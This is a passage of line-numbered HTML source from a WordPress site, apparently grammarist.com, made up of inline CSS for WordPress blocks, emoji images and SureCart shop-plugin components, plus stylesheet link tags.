182-webkit-box-shadow:var(--sc-cart-icon-box-shadow,var(--sc-shadow-x-large));box-shadow:var(--sc-cart-icon-box-shadow,var(--sc-shadow-x-large));color:var(--sc-cart-counter-color,var(--sc-color-white));font-size:12px;left:auto;line-height:18px;padding:4px 10px;position:absolute;right:-8px;top:-8px;z-index:1} 183 184/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-icon/style-index.css */ 185</style> 186<style id="wp-emoji-styles-inline-css"> 187 188 img.wp-smiley, img.emoji { 189 display: inline !important; 190 border: none !important; 191 box-shadow: none !important; 192 height: 1em !important; 193 width: 1em !important; 194 margin: 0 0.07em !important; 195 vertical-align: -0.1em !important; 196 background: none !important; 197 padding: 0 !important; 198 } 199/*# sourceURL=wp-emoji-styles-inline-css */ 200</style> 201<style id="wp-block-library-inline-css"> 202:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;
202--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}} 203 204/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */ 205</style> 206<style id="wp-block-cover-inline-css"> 207.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}
207.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{c
207olor:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;-o-object-fit:cover;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background,.wp-block-cover-image .wp-block-cover__embed-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;outline:none;padding:0;pointer-events:none;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper{bottom:0;height:100%;left:0;margin:0;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover .wp-block-cover__embed-background iframe,.wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper iframe,.wp-block-cover-image .wp-block-cover__embed-background iframe{height:100vh;left:50%;min-height:100%;min-width:100%;pointer-events:none;position:absolute;top:50%;transform:translate(-50%,-50%);width:100vw}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__embed-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto} 208/*# sourceURL=https://grammarist.com/wp-includes/blocks/cover/style.min.css */ 209</style> 210<style id="wp-block-paragraph-inline-css"> 211.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg} 212/*# sourceURL=https://grammarist.com/wp-includes/blocks/paragraph/style.min.css */ 213</style> 214<style id="wp-block-group-inline-css"> 215.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative} 216/*# sourceURL=https://grammarist.com/wp-includes/blocks/group/style.min.css */ 217</style> 218 219<style id="classic-theme-styles-inline-css"> 220/*! This file is auto-generated */ 221.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;
221padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} 222/*# sourceURL=/wp-includes/css/classic-themes.min.css */ 223</style> 224 225<link data-minify="1" rel='stylesheet' id='surecart-dropdown-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/dropdown.css?ver=1789059126' media='all' /> 226<link data-minify="1" rel='stylesheet' id='surecart-button-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/button.css?ver=1789059126' media='all' /> 227<link data-minify="1" rel='stylesheet' id='surecart-spinner-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/spinner.css?ver=1789059126' media='all' /> 228<style id="surecart-product-list-filter-tags-template-style-inline-css"> 229.wp-block-surecart-product-list-filter-tags-template{width:100%} 230 231/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list-filter-tags-template/style-index.css */ 232</style> 233<style id="surecart-product-list-filter-tags-style-inline-css"> 234.wp-block-surecart-product-list-filter-tags.is-empty{display:none} 235 236/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list-filter-tags/style-index.css */ 237</style> 238<style id="surecart-product-list-search-style-5-inline-css"> 239.wp-block-surecart-product-list-search.sc-input-group{max-width:250px;min-height:30px;width:100%;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.wp-block-surecart-product-list-search.sc-input-group>.sc-form-control{border-radius:inherit!important} 240 241/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list-search/index.css */ 242</style> 243<style id="surecart-product-list-style-inline-css"> 244.wp-block-surecart-product-list{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.alignwide.wp-block-group:has(+.wp-block-surecart-product-list),.alignwide.wp-block-group:has(.wp-block-surecart-product-list),.alignwide.wp-block-surecart-product-list{margin-left:auto;margin-right:auto;max-width:100%}.is-layout-flex{display:-webkit-box;display:-ms-flexbox;display:flex}.is-layout-grid{display:-ms-grid;display:grid} 245 246/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-list/style-index.css */ 247</style> 248<style id="surecart-product-list-price-style-inline-css"> 249.wp-block-surecart-product-list-price{color:var(--sc-color-gray-700);margin:0} 250 251/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-price/style-index.css */ 252</style> 253<style id="surecart-product-sale-badge-style-2-inline-css"> 254.wp-block-surecart-product-sale-badge{-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center} 255 256/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/product-sale-badge/style-index.css */ 257</style> 258<style id="surecart-product-template-style-inline-css"> 259.wp-block-surecart-product-template{list-style:none!important;margin:0!important;max-width:100%;padding:0!important;width:100%}.sc-product-item{-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;margin:0!important}.sc-product-item.sc-product-item--has-controls{position:relative}.sc-product-item.sc-product-item--has-controls>form{height:100%}.sc-product-item.sc-product-item--has-controls>form:has(.wp-block-surecart-product-buy-buttons){display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.sc-product-item.sc-product-item--has-controls>form>.wp-block-group:not(.is-layout-flex):not(.is-layout-grid):has(.wp-block-surecart-product-buy-buttons){-webkit-box-flex:1;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex:1 1 auto;flex:1 1 auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.sc-product-item.sc-product-item--has-controls>form>.wp-block-group:not(.is-layout-flex):not(.is-layout-grid):has(.wp-block-surecart-product-buy-buttons)>.wp-block-surecart-product-buy-buttons:last-child{margin-top:auto}.sc-product-item.sc-product-item--has-controls .sc-product-item-link{inset:0;position:absolute;z-index:1}.sc-product-item.sc-product-item--has-controls :is(a,button,select,input,textarea,details,label,[tabindex]):not
259(.sc-product-item-link,.sc-screen-reader-text){position:relative;z-index:2}.sc-product-item.sc-product-item--has-controls .wp-block-cover__inner-container:has(:is(a,button,select,input,textarea,details,label,[tabindex]):not(.sc-product-item-link,.sc-screen-reader-text)){z-index:2!important}.sc-product-item.sc-has-animation-fade-up{-webkit-animation-duration:var(--sc-transition-fast);animation-duration:var(--sc-transition-fast);-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-name:fadeInUp;animation-name:fadeInUp;-webkit-animation-timing-function:cubic-bezier(.4,0,.2,1);animation-timing-function:cubic-bezier(.4,0,.2,1);opacity:0}.sc-product-item.sc-has-animation-fade-up:nth-child(2n){-webkit-animation-delay:.05s;animation-delay:.05s}.sc-product-item.sc-has-animation-fade-up:nth-child(3n){-webkit-animation-delay:75ms;animation-delay:75ms}.sc-product-item.sc-has-animation-fade-up:nth-child(4n){-webkit-animation-delay:.1s;animation-delay:.1s}.sc-product-item.sc-has-animation-fade-up:nth-child(5n){-webkit-animation-delay:.125s;animation-delay:.125s}.sc-product-item.sc-has-animation-fade-up:nth-child(6n){-webkit-animation-delay:.15s;animation-delay:.15s}.sc-product-item.sc-has-animation-fade-up:nth-child(7n){-webkit-animation-delay:.175s;animation-delay:.175s}.sc-product-item.sc-has-animation-fade-up:nth-child(8n){-webkit-animation-delay:.2s;animation-delay:.2s}.sc-product-item.sc-has-animation-fade-up:nth-child(9n){-webkit-animation-delay:.225s;animation-delay:.225s}.sc-product-item.sc-has-animation-fade-up:nth-child(10n){-webkit-animation-delay:.25s;animation-delay:.25s}.sc-product-item.sc-has-animation-fade-up:nth-child(11n){-webkit-animation-delay:.275s;animation-delay:.275s}.sc-product-item.sc-has-animation-fade-up:nth-child(12n){-webkit-animation-delay:.3s;animation-delay:.3s}.sc-product-item.sc-has-animation-fade-up:nth-child(13n){-webkit-animation-delay:.325s;animation-delay:.325s}.sc-product-item.sc-has-animation-fade-up:nth-child(14n){-webkit-animation-delay:.35s;animation-delay:.35s}.sc-product-item.sc-has-animation-fade-up:nth-child(15n){-webkit-animation-delay:.375s;animation-delay:.375s}.sc-product-item.sc-has-animation-fade-up:nth-child(16n){-webkit-animation-delay:.4s;animation-delay:.4s}.sc-product-item.sc-has-animation-fade-up:nth-child(17n){-webkit-animation-delay:.425s;animation-delay:.425s}.sc-product-item.sc-has-animation-fade-up:nth-child(18n){-webkit-animation-delay:.45s;animation-delay:.45s}.sc-product-item.sc-has-animation-fade-up:nth-child(19n){-webkit-animation-delay:.475s;animation-delay:.475s}.sc-product-item.sc-has-animatio